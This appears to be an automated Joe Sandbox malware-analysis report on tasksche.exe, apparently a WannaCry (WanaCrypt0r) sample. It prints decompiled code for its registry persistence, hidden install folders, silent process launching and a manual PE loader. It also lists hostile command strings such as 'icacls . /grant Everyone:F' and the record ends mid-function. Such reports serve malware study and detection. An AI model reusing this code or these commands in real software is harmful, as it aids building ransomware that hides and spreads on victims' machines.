Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: File$AttributesDirectorystrrchr$ByteCharCopyCurrentFullMultiNamePathWideWindows__p___argvstrcmpswprintf
String ID: TaskStart$attrib +h .$icacls . /grant Everyone:F /T /C /Q$t.wnry$tasksche.exe
API String ID: 1074704982-2844324180
Opcode ID: 89895d8f6934e01f58802458fd3b58e20f5d1862df0252ba7c7124bca42d23be
Instruction ID: 0f1cc1f94130967d107883c1ee7151828ebb686b55f89e1ef1b9593e139f0a32
Opcode Fuzzy Hash: 89895d8f6934e01f58802458fd3b58e20f5d1862df0252ba7c7124bca42d23be
Instruction Fuzzy Hash: 25318172500319AEDB24B7B19E89E9F376C9F10319F20057FF645F65E2DE788D488A28

Uniqueness

Uniqueness Score: -1.00%

Function 004010FD Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 100
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E004010FD(intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				int _v16;
				void _v196;
				long _v216;
				void _v735;
				char _v736;
				signed int _t44;
				void* _t46;
				signed int _t55;
				signed int _t56;
				char* _t72;
				void* _t77;

				_t56 = 5;
				memcpy( &_v216, L"Software\\", _t56 << 2);
				_push(0x2d);
				_v736 = _v736 & 0;
				_v8 = _v8 & 0x00000000;
				memset( &_v735, memset( &_v196, 0, 0 << 2), 0x81 << 2);
				asm("stosw");
				asm("stosb");
				wcscat( &_v216, L"WanaCrypt0r");
				_v12 = _v12 & 0x00000000;
				_t72 = "wd";
				do {
					_push( &_v8);
					_push( &_v216);
					if(_v12 != 0) {
						_push(0x80000001);
					} else {
						_push(0x80000002);
					}
					RegCreateKeyW();
					if(_v8 != 0) {
						if(_a4 == 0) {
							_v16 = 0x207;
							_t44 = RegQueryValueExA(_v8, _t72, 0, 0,  &_v736,  &_v16);
							asm("sbb esi, esi");
							_t77 =  ~_t44 + 1;
							if(_t77 != 0) {
								SetCurrentDirectoryA( &_v736);
							}
						} else {
							GetCurrentDirectoryA(0x207,  &_v736);
							_t55 = RegSetValueExA(_v8, _t72, 0, 1,  &_v736, strlen( &_v736) + 1);
							asm("sbb esi, esi");
							_t77 =  ~_t55 + 1;
						}
						RegCloseKey(_v8);
						if(_t77 != 0) {
							_t46 = 1;
							return _t46;
						} else {
							goto L10;
						}
					}
					L10:
					_v12 = _v12 + 1;
				} while (_v12 < 2);
				return 0;
			}

0x0040110f
0x00401116
0x00401118
0x0040111c
0x00401129
0x0040113a
0x0040113c
0x0040113e
0x0040114b
0x00401151
0x00401157
0x0040115c
0x00401164
0x0040116b
0x0040116c
0x00401175
0x0040116e
0x0040116e
0x0040116e
0x0040117a
0x00401183
0x0040118c
0x004011cf
0x004011e4
0x004011ee
0x004011f0
0x004011f1
0x004011fa
0x004011fa
0x0040118e
0x0040119a
0x004011bd
0x004011c7
0x004011c9
0x004011c9
0x00401203
0x0040120b
0x00401222
0x00000000
0x00000000
0x00000000
0x00000000
0x0040120b
0x0040120d
0x0040120d
0x00401210
0x00000000

APIs

wcscat.MSVCRT(?,WanaCrypt0r,?,0000DDB6), ref: 0040114B
RegCreateKeyW.ADVAPI32(80000001,?,00000000), ref: 0040117A
GetCurrentDirectoryA.KERNEL32(00000207,?), ref: 0040119A
strlen.MSVCRT(?), ref: 004011A7
RegSetValueExA.ADVAPI32(00000000,0040E030,00000000,00000001,?,00000001), ref: 004011BD
RegQueryValueExA.ADVAPI32(00000000,0040E030,00000000,00000000,?,?), ref: 004011E4
SetCurrentDirectoryA.KERNEL32(?), ref: 004011FA
RegCloseKey.ADVAPI32(00000000), ref: 00401203

Strings

Software\, xrefs: 0040110A
WanaCrypt0r, xrefs: 00401145
0@, xrefs: 00401157

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: CurrentDirectoryValue$CloseCreateQuerystrlenwcscat
String ID: 0@$Software\$WanaCrypt0r
API String ID: 865909632-3421300005
Opcode ID: be197859f140e0a5161343930b87c84f9738d6a9d10ac2d583ef225433aeadb0
Instruction ID: 752dd9e6153134350df00ddc45e524be7a8e60cbe47ba2191db59f61a0b32c4f
Opcode Fuzzy Hash: be197859f140e0a5161343930b87c84f9738d6a9d10ac2d583ef225433aeadb0
Instruction Fuzzy Hash: 09316232801228EBDB218B90DD09BDEBB78EB44751F1140BBE645F6190CB745E84CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00401B5F Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E00401B5F(intOrPtr _a4) {
				void _v202;
				short _v204;
				void _v722;
				long _v724;
				signed short _v1240;
				void _v1242;
				long _v1244;
				void* _t55;
				signed int _t65;
				void* _t72;
				long _t83;
				void* _t94;
				void* _t98;

				_t83 =  *0x40f874; // 0x0
				_v1244 = _t83;
				memset( &_v1242, 0, 0x81 << 2);
				asm("stosw");
				_v724 = _t83;
				memset( &_v722, 0, 0x81 << 2);
				asm("stosw");
				_push(0x31);
				_v204 = _t83;
				memset( &_v202, 0, 0 << 2);
				asm("stosw");
				MultiByteToWideChar(0, 0, 0x40f8ac, 0xffffffff,  &_v204, 0x63);
				GetWindowsDirectoryW( &_v1244, 0x104);
				_v1240 = _v1240 & 0x00000000;
				swprintf( &_v724, L"%s\\ProgramData",  &_v1244);
				_t98 = _t94 + 0x30;
				if(GetFileAttributesW( &_v724) == 0xffffffff) {
					L3:
					swprintf( &_v724, L"%s\\Intel",  &_v1244);
					if(E00401AF6( &_v724,  &_v204, _a4) != 0 || E00401AF6( &_v1244,  &_v204, _a4) != 0) {
						L2:
						_t55 = 1;
						return _t55;
					} else {
						GetTempPathW(0x104,  &_v724);
						if(wcsrchr( &_v724, 0x5c) != 0) {
							 *(wcsrchr( &_v724, 0x5c)) =  *_t69 & 0x00000000;
						}
						_t65 = E00401AF6( &_v724,  &_v204, _a4);
						asm("sbb eax, eax");
						return  ~( ~_t65);
					}
				}
				_t72 = E00401AF6( &_v724,  &_v204, _a4);
				_t98 = _t98 + 0xc;
				if(_t72 == 0) {
					goto L3;
				}
				goto L2;
			}

0x00401b68
0x00401b80
0x00401b87
0x00401b89
0x00401b95
0x00401b9c
0x00401b9e
0x00401ba0
0x00401bab
0x00401bb4
0x00401bb6
0x00401bca
0x00401bdd
0x00401be9
0x00401c04
0x00401c06
0x00401c19
0x00401c40
0x00401c53
0x00401c70
0x00401c38
0x00401c3a
0x00000000
0x00401c8f
0x00401c97
0x00401cb2
0x00401cbf
0x00401cc4
0x00401cd6
0x00401ce0
0x00000000
0x00401ce2
0x00401c70
0x00401c2c
0x00401c31
0x00401c36
0x00000000
0x00000000
0x00000000

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,0040F8AC,000000FF,?,00000063), ref: 00401BCA
GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00401BDD
swprintf.MSVCRT(?,%s\ProgramData,?), ref: 00401C04
GetFileAttributesW.KERNEL32(?), ref: 00401C10
swprintf.MSVCRT(?,%s\Intel,?), ref: 00401C53
GetTempPathW.KERNEL32(00000104,?), ref: 00401C97
wcsrchr.MSVCRT(?,0000005C), ref: 00401CAC
wcsrchr.MSVCRT(?,0000005C), ref: 00401CBD

Part of subcall function 00401AF6: CreateDirectoryW.KERNEL32(?,00000000), ref: 00401B07
Part of subcall function 00401AF6: SetCurrentDirectoryW.KERNEL32(?), ref: 00401B12
Part of subcall function 00401AF6: CreateDirectoryW.KERNEL32(?,00000000), ref: 00401B1E
Part of subcall function 00401AF6: SetCurrentDirectoryW.KERNEL32(?), ref: 00401B21

Strings

%s\ProgramData, xrefs: 00401BFE
%s\Intel, xrefs: 00401C4D

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: Directory$CreateCurrentswprintfwcsrchr$AttributesByteCharFileMultiPathTempWideWindows
String ID: %s\Intel$%s\ProgramData
API String ID: 3806094219-198707228
Opcode ID: e04e666ac5ff563214b472014ed4c30e25de200c4a7bf1775954a8b15fda063a
Instruction ID: 4ac525b1174630586dc3f01422198d44c3eaba501bd80531e66e43f198221a67
Opcode Fuzzy Hash: e04e666ac5ff563214b472014ed4c30e25de200c4a7bf1775954a8b15fda063a
Instruction Fuzzy Hash: 2C41447294021DAAEF609BA0DD45FDA777CAF04310F1045BBE608F71E0EA74DA888F59

Uniqueness

Uniqueness Score: -1.00%

Function 004021E9 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 233
memoryCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E004021E9(void* _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, void* _a32) {
				signed int _v8;
				intOrPtr _v40;
				char _v44;
				void* _t82;
				struct HINSTANCE__* _t83;
				intOrPtr* _t84;
				intOrPtr _t89;
				void* _t91;
				void* _t104;
				void _t107;
				intOrPtr _t116;
				intOrPtr _t124;
				signed int _t125;
				signed char _t126;
				intOrPtr _t127;
				signed int _t134;
				intOrPtr* _t145;
				signed int _t146;
				intOrPtr* _t151;
				intOrPtr _t152;
				short* _t153;
				signed int _t155;
				void* _t156;
				intOrPtr _t157;
				void* _t158;
				void* _t159;
				void* _t160;

				_v8 = _v8 & 0x00000000;
				_t3 =  &_a8; // 0x40213f
				if(E00402457( *_t3, 0x40) == 0) {
					L37:
					return 0;
				}
				_t153 = _a4;
				if( *_t153 == 0x5a4d) {
					if(E00402457(_a8,  *((intOrPtr*)(_t153 + 0x3c)) + 0xf8) == 0) {
						goto L37;
					}
					_t151 =  *((intOrPtr*)(_t153 + 0x3c)) + _t153;
					if( *_t151 != 0x4550 ||  *((short*)(_t151 + 4)) != 0x14c) {
						goto L2;
					} else {
						_t9 = _t151 + 0x38; // 0x68004021
						_t126 =  *_t9;
						if((_t126 & 0x00000001) != 0) {
							goto L2;
						}
						_t12 = _t151 + 0x14; // 0x4080e415
						_t13 = _t151 + 6; // 0x4080e0
						_t146 =  *_t13 & 0x0000ffff;
						_t82 = ( *_t12 & 0x0000ffff) + _t151 + 0x18;
						if(_t146 <= 0) {
							L16:
							_t83 = GetModuleHandleA("kernel32.dll");
							if(_t83 == 0) {
								goto L37;
							}
							_t84 = _a24(_t83, "GetNativeSystemInfo", 0);
							_t159 = _t158 + 0xc;
							if(_t84 == 0) {
								goto L37;
							}
							 *_t84( &_v44);
							_t86 = _v40;
							_t23 = _t151 + 0x50; // 0xec8b55c3
							_t25 = _t86 - 1; // 0xec8b55c2
							_t27 = _t86 - 1; // -1
							_t134 =  !_t27;
							_t155 =  *_t23 + _t25 & _t134;
							if(_t155 != (_v40 + _v8 - 0x00000001 & _t134)) {
								goto L2;
							}
							_t31 = _t151 + 0x34; // 0x85680040
							_t89 = _a12( *_t31, _t155, 0x3000, 4, _a32);
							_t127 = _t89;
							_t160 = _t159 + 0x14;
							if(_t127 != 0) {
								L21:
								_t91 = HeapAlloc(GetProcessHeap(), 8, 0x3c);
								_t156 = _t91;
								if(_t156 != 0) {
									 *((intOrPtr*)(_t156 + 4)) = _t127;
									_t38 = _t151 + 0x16; // 0xc3004080
									 *(_t156 + 0x14) =  *_t38 >> 0x0000000d & 0x00000001;
									 *((intOrPtr*)(_t156 + 0x1c)) = _a12;
									 *((intOrPtr*)(_t156 + 0x20)) = _a16;
									 *((intOrPtr*)(_t156 + 0x24)) = _a20;
									 *((intOrPtr*)(_t156 + 0x28)) = _a24;
									 *((intOrPtr*)(_t156 + 0x2c)) = _a28;
									 *((intOrPtr*)(_t156 + 0x30)) = _a32;
									 *((intOrPtr*)(_t156 + 0x38)) = _v40;
									_t54 = _t151 + 0x54; // 0x8328ec83
									if(E00402457(_a8,  *_t54) == 0) {
										L36:
										E004029CC(_t156);
										goto L37;
									}
									_t57 = _t151 + 0x54; // 0x8328ec83
									_t104 = _a12(_t127,  *_t57, 0x1000, 4, _a32);
									_t59 = _t151 + 0x54; // 0x8328ec83
									_a32 = _t104;
									memcpy(_t104, _a4,  *_t59);
									_t107 =  *((intOrPtr*)(_a4 + 0x3c)) + _a32;
									 *_t156 = _t107;
									 *((intOrPtr*)(_t107 + 0x34)) = _t127;
									if(E00402470(_a4, _a8, _t151, _t156) == 0) {
										goto L36;
									}
									_t68 = _t151 + 0x34; // 0x85680040
									_t111 =  *((intOrPtr*)( *_t156 + 0x34)) ==  *_t68;
									if( *((intOrPtr*)( *_t156 + 0x34)) ==  *_t68) {
										_t152 = 1;
										 *((intOrPtr*)(_t156 + 0x18)) = _t152;
									} else {
										 *((intOrPtr*)(_t156 + 0x18)) = E00402758(_t156, _t111);
										_t152 = 1;
									}
									if(E004027DF(_t156) != 0 && E0040254B(_t156) != 0 && E0040271D(_t156) != 0) {
										_t116 =  *((intOrPtr*)( *_t156 + 0x28));
										if(_t116 == 0) {
											 *((intOrPtr*)(_t156 + 0x34)) = 0;
											L41:
											return _t156;
										}
										if( *(_t156 + 0x14) == 0) {
											 *((intOrPtr*)(_t156 + 0x34)) = _t116 + _t127;
											goto L41;
										}
										_push(0);
										_push(_t152);
										_push(_t127);
										if( *((intOrPtr*)(_t116 + _t127))() != 0) {
											 *((intOrPtr*)(_t156 + 0x10)) = _t152;
											goto L41;
										}
										SetLastError(0x45a);
									}
									goto L36;
								}
								_a16(_t127, _t91, 0x8000, _a32);
								L23:
								SetLastError(0xe);
								L3:
								goto L37;
							}
							_t127 = _a12(_t89, _t155, 0x3000, 4, _a32);
							_t160 = _t160 + 0x14;
							if(_t127 == 0) {
								goto L23;
							}
							goto L21;
						}
						_t145 = _t82 + 0xc;
						do {
							_t157 =  *((intOrPtr*)(_t145 + 4));
							_t124 =  *_t145;
							if(_t157 != 0) {
								_t125 = _t124 + _t157;
							} else {
								_t125 = _t124 + _t126;
							}
							if(_t125 > _v8) {
								_v8 = _t125;
							}
							_t145 = _t145 + 0x28;
							_t146 = _t146 - 1;
						} while (_t146 != 0);
						goto L16;
					}
				}
				L2:
				SetLastError(0xc1);
				goto L3;
			}

0x004021ef
0x004021f8
0x00402204
0x0040243d
0x00000000
0x0040243d
0x0040220a
0x00402212
0x00402239
0x00000000
0x00000000
0x00402242
0x0040224a
0x00000000
0x00402254
0x00402254
0x00402254
0x0040225a
0x00000000
0x00000000
0x0040225c
0x00402260
0x00402260
0x00402266
0x0040226a
0x0040228c
0x00402291
0x00402299
0x00000000
0x00000000
0x004022a7
0x004022aa
0x004022af
0x00000000
0x00000000
0x004022b9
0x004022bb
0x004022be
0x004022c1
0x004022c8
0x004022cb
0x004022d1
0x004022d7
0x00000000
0x00000000
0x004022e8
0x004022eb
0x004022ee
0x004022f0
0x004022f5
0x0040230f
0x0040231a
0x00402320
0x00402324
0x0040233d
0x00402340
0x0040234a
0x00402350
0x00402356
0x0040235c
0x00402362
0x00402368
0x0040236e
0x00402374
0x00402377
0x00402386
0x00402436
0x00402437
0x00000000
0x0040243c
0x00402396
0x0040239a
0x0040239d
0x004023a0
0x004023a7
0x004023ba
0x004023bc
0x004023bf
0x004023cc
0x00000000
0x00000000
0x004023d3
0x004023d3
0x004023d6
0x004023eb
0x004023ec
0x004023d8
0x004023e0
0x004023e6
0x004023e6
0x004023f8
0x00402414
0x00402419
0x0040244d
0x00402450
0x00000000
0x00402450
0x0040241e
0x00402448
0x00000000
0x00402448
0x00402420
0x00402421
0x00402424
0x00402429
0x00402441
0x00000000
0x00402441
0x00402430
0x00402430
0x00000000
0x004023f8
0x00402330
0x00402336
0x00402219
0x00402219
0x00000000
0x00402219
0x00402306
0x00402308
0x0040230d
0x00000000
0x00000000
0x00000000
0x0040230d
0x0040226c
0x0040226f
0x0040226f
0x00402272
0x00402276
0x0040227c
0x00402278
0x00402278
0x00402278
0x00402281
0x00402283
0x00402283
0x00402286
0x00402289
0x00402289
0x00000000
0x0040226f
0x0040224a
0x00402214
0x00402219
0x00000000

APIs

Part of subcall function 00402457: SetLastError.KERNEL32(0000000D,00402200,?!@,00000040,?,0000DDB6,?,00402185,0040216E,00402185,00402198,004021A3,004021B2,00000000,0040213F,00000000), ref: 00402463

SetLastError.KERNEL32(000000C1,?,0000DDB6,?,00402185,0040216E,00402185,00402198,004021A3,004021B2,00000000,0040213F,00000000), ref: 00402219
GetModuleHandleA.KERNEL32(kernel32.dll,?,0000DDB6,?,00402185,0040216E,00402185,00402198,004021A3,004021B2,00000000,0040213F,00000000), ref: 00402291
GetProcessHeap.KERNEL32(00000008,0000003C,?,?,?,?,?,?,?,?,?,?,00402185,00402198,004021A3,004021B2), ref: 00402313
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00402185,00402198,004021A3,004021B2,00000000), ref: 0040231A
memcpy.MSVCRT(00000000,?,8328EC83,?,?,?,?,?,?,?,?,?,?,00402185,00402198,004021A3), ref: 004023A7

Part of subcall function 00402470: memset.MSVCRT(?,00000000,?), ref: 004024D5

SetLastError.KERNEL32(0000045A), ref: 00402430

Strings

GetNativeSystemInfo, xrefs: 004022A1
kernel32.dll, xrefs: 0040228C
?!@, xrefs: 004021F8

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: ErrorLast$Heap$AllocHandleModuleProcessmemcpymemset
String ID: ?!@$GetNativeSystemInfo$kernel32.dll
API String ID: 1900561814-3657104962
Opcode ID: 0e24c0e50799aa35dd9f5fcc36a4565fcb8133d83dc7aa1daf15d2422d00f892
Instruction ID: 3b750285519b5b92c664dbe57bf04ddc7e4262fbacbc213f0015b22f99412f1c
Opcode Fuzzy Hash: 0e24c0e50799aa35dd9f5fcc36a4565fcb8133d83dc7aa1daf15d2422d00f892
Instruction Fuzzy Hash: 0A81AD71A01602AFDB209FA5CE49AAB77E4BF08314F10443EF945E76D1D7B8E851CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00401AF6 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00401AF6(WCHAR* _a4, WCHAR* _a8, wchar_t* _a12) {
				void* _t15;
				WCHAR* _t17;

				CreateDirectoryW(_a4, 0);
				if(SetCurrentDirectoryW(_a4) == 0) {
					L2:
					return 0;
				}
				_t17 = _a8;
				CreateDirectoryW(_t17, 0);
				if(SetCurrentDirectoryW(_t17) != 0) {
					SetFileAttributesW(_t17, GetFileAttributesW(_t17) | 0x00000006);
					if(_a12 != 0) {
						_push(_t17);
						swprintf(_a12, L"%s\\%s", _a4);
					}
					_t15 = 1;
					return _t15;
				}
				goto L2;
			}

0x00401b07
0x00401b16
0x00401b27
0x00000000
0x00401b27
0x00401b18
0x00401b1e
0x00401b25
0x00401b36
0x00401b40
0x00401b42
0x00401b4e
0x00401b54
0x00401b59
0x00000000
0x00401b59
0x00000000

APIs

CreateDirectoryW.KERNEL32(?,00000000), ref: 00401B07
SetCurrentDirectoryW.KERNEL32(?), ref: 00401B12
CreateDirectoryW.KERNEL32(?,00000000), ref: 00401B1E
SetCurrentDirectoryW.KERNEL32(?), ref: 00401B21
GetFileAttributesW.KERNEL32(?), ref: 00401B2C
SetFileAttributesW.KERNEL32(?,00000000), ref: 00401B36
swprintf.MSVCRT(?,%s\%s,?,?), ref: 00401B4E

Strings

%s\%s, xrefs: 00401B46

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: Directory$AttributesCreateCurrentFile$swprintf
String ID: %s\%s
API String ID: 1036847564-4073750446
Opcode ID: e8d223ccc4edc92c4536f1ca202ba6161fd040db7272db682552e70b0b18d917
Instruction ID: 4a0a9b6f0974b2b783bf1fd4f993800d593798a72c4fd06372b86497b3864b36
Opcode Fuzzy Hash: e8d223ccc4edc92c4536f1ca202ba6161fd040db7272db682552e70b0b18d917
Instruction Fuzzy Hash: 99F06271200208BBEB103F65DE44F9B3B2CEB457A5F015832FA46B61A1DB75A855CAB8

Uniqueness

Uniqueness Score: -1.00%

Function 00401064 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63
processsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E00401064(CHAR* _a4, long _a8, DWORD* _a12) {
				struct _PROCESS_INFORMATION _v20;
				struct _STARTUPINFOA _v88;
				signed int _t32;
				intOrPtr _t37;

				_t32 = 0x10;
				_v88.cb = 0x44;
				memset( &(_v88.lpReserved), 0, _t32 << 2);
				_v20.hProcess = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t37 = 1;
				_v88.wShowWindow = 0;
				_v88.dwFlags = _t37;
				if(CreateProcessA(0, _a4, 0, 0, 0, 0x8000000, 0, 0,  &_v88,  &_v20) == 0) {
					return 0;
				}
				if(_a8 != 0) {
					if(WaitForSingleObject(_v20.hProcess, _a8) != 0) {
						TerminateProcess(_v20.hProcess, 0xffffffff);
					}
					if(_a12 != 0) {
						GetExitCodeProcess(_v20.hProcess, _a12);
					}
				}
				CloseHandle(_v20);
				CloseHandle(_v20.hThread);
				return _t37;
			}

0x00401070
0x00401074
0x0040107d
0x00401082
0x00401085
0x00401086
0x00401087
0x0040108d
0x0040108e
0x004010a1
0x004010b0
0x00000000
0x004010f7
0x004010b5
0x004010c5
0x004010cc
0x004010cc
0x004010d5
0x004010dd
0x004010dd
0x004010d5
0x004010ec
0x004010f1
0x00000000

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,00000044,?), ref: 004010A8
WaitForSingleObject.KERNEL32(?,?), ref: 004010BD
TerminateProcess.KERNEL32(?,000000FF), ref: 004010CC
GetExitCodeProcess.KERNEL32(?,?), ref: 004010DD
CloseHandle.KERNEL32(?), ref: 004010EC
CloseHandle.KERNEL32(?), ref: 004010F1

Strings

D, xrefs: 00401074

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: Process$CloseHandle$CodeCreateExitObjectSingleTerminateWait
String ID: D
API String ID: 786732093-2746444292
Opcode ID: 520ef4afec62fe4405832db260c3c6b21caa087d375fb1c1d919acb3a27097cb
Instruction ID: fabf2a0aaa91e867d54492d1ca24e81fc8ed090543e33b3e61fa812da4358066
Opcode Fuzzy Hash: 520ef4afec62fe4405832db260c3c6b21caa087d375fb1c1d919acb3a27097cb
Instruction Fuzzy Hash: 8D116431900229ABDB218F9ADD04ADFBF79FF04720F008426F514B65A0DB708A18DAA8

Uniqueness

Uniqueness Score: -1.00%

Function 004077BA Relevance: 12.1, APIs: 8, Instructions: 77
COMMON

Download Yara Rule

C-Code - Quality: 81%

			_entry_(void* __ebx, void* __edi, void* __esi) {
				CHAR* _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOA _v96;
				int _v100;
				char** _v104;
				int _v108;
				void _v112;
				char** _v116;
				intOrPtr* _v120;
				intOrPtr _v124;
				intOrPtr* _t23;
				intOrPtr* _t24;
				void* _t27;
				void _t29;
				intOrPtr _t36;
				signed int _t38;
				int _t40;
				intOrPtr* _t41;
				intOrPtr _t42;
				intOrPtr _t46;
				intOrPtr _t47;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				intOrPtr _t61;

				_push(0xffffffff);
				_push(0x40d488);
				_push(0x4076f4);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t58;
				_v28 = _t58 - 0x68;
				_v8 = 0;
				__set_app_type(2);
				 *0x40f94c =  *0x40f94c | 0xffffffff;
				 *0x40f950 =  *0x40f950 | 0xffffffff;
				_t23 = __p__fmode();
				_t46 =  *0x40f948; // 0x0
				 *_t23 = _t46;
				_t24 = __p__commode();
				_t47 =  *0x40f944; // 0x0
				 *_t24 = _t47;
				 *0x40f954 = _adjust_fdiv;
				_t27 = E0040793F( *_adjust_fdiv);
				_t61 =  *0x40f870; // 0x1
				if(_t61 == 0) {
					__setusermatherr(E0040793C);
				}
				E0040792A(_t27);
				_push(0x40e00c);
				_push(0x40e008);
				L00407924();
				_t29 =  *0x40f940; // 0x0
				_v112 = _t29;
				__getmainargs( &_v100,  &_v116,  &_v104,  *0x40f93c,  &_v112);
				_push(0x40e004);
				_push(0x40e000);
				L00407924();
				_t55 =  *_acmdln;
				_v120 = _t55;
				if( *_t55 != 0x22) {
					while(1) {
						__eflags =  *_t55 - 0x20;
						if(__eflags <= 0) {
							goto L7;
						}
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				} else {
					do {
						_t55 = _t55 + 1;
						_v120 = _t55;
						_t42 =  *_t55;
					} while (_t42 != 0 && _t42 != 0x22);
					if( *_t55 == 0x22) {
						L6:
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				}
				L7:
				_t36 =  *_t55;
				if(_t36 != 0 && _t36 <= 0x20) {
					goto L6;
				}
				_v96.dwFlags = 0;
				GetStartupInfoA( &_v96);
				_t69 = _v96.dwFlags & 0x00000001;
				if((_v96.dwFlags & 0x00000001) == 0) {
					_t38 = 0xa;
				} else {
					_t38 = _v96.wShowWindow & 0x0000ffff;
				}
				_t40 = L00401FE7(_t69, GetModuleHandleA(0), 0, _t55, _t38);
				_v108 = _t40;
				exit(_t40);
				_t41 = _v24;
				_t49 =  *((intOrPtr*)( *_t41));
				_v124 = _t49;
				_push(_t41);
				_push(_t49);
				L0040791E();
				return _t41;
			}

0x004077bd
0x004077bf
0x004077c4
0x004077cf
0x004077d0
0x004077dd
0x004077e2
0x004077e7
0x004077ee
0x004077f5
0x004077fc
0x00407802
0x00407808
0x0040780a
0x00407810
0x00407816
0x0040781f
0x00407824
0x00407829
0x0040782f
0x00407836
0x0040783c
0x0040783d
0x00407842
0x00407847
0x0040784c
0x00407851
0x00407856
0x0040786f
0x00407875
0x0040787a
0x0040787f
0x0040788c
0x0040788e
0x00407894
0x004078d0
0x004078d0
0x004078d3
0x00000000
0x00000000
0x004078d5
0x004078d6
0x004078d6
0x00407896
0x00407896
0x00407896
0x00407897
0x0040789a
0x0040789c
0x004078a7
0x004078a9
0x004078a9
0x004078aa
0x004078aa
0x004078a7
0x004078ad
0x004078ad
0x004078b1
0x00000000
0x00000000
0x004078b7
0x004078be
0x004078c4
0x004078c8
0x004078dd
0x004078ca
0x004078ca
0x004078ca
0x004078e9
0x004078ee
0x004078f2
0x004078f8
0x004078fd
0x004078ff
0x00407902
0x00407903
0x00407904
0x0040790b

APIs

__set_app_type.MSVCRT(00000002), ref: 004077E7
__p__fmode.MSVCRT ref: 004077FC
__p__commode.MSVCRT ref: 0040780A
_initterm.MSVCRT(0040E008,0040E00C), ref: 0040784C
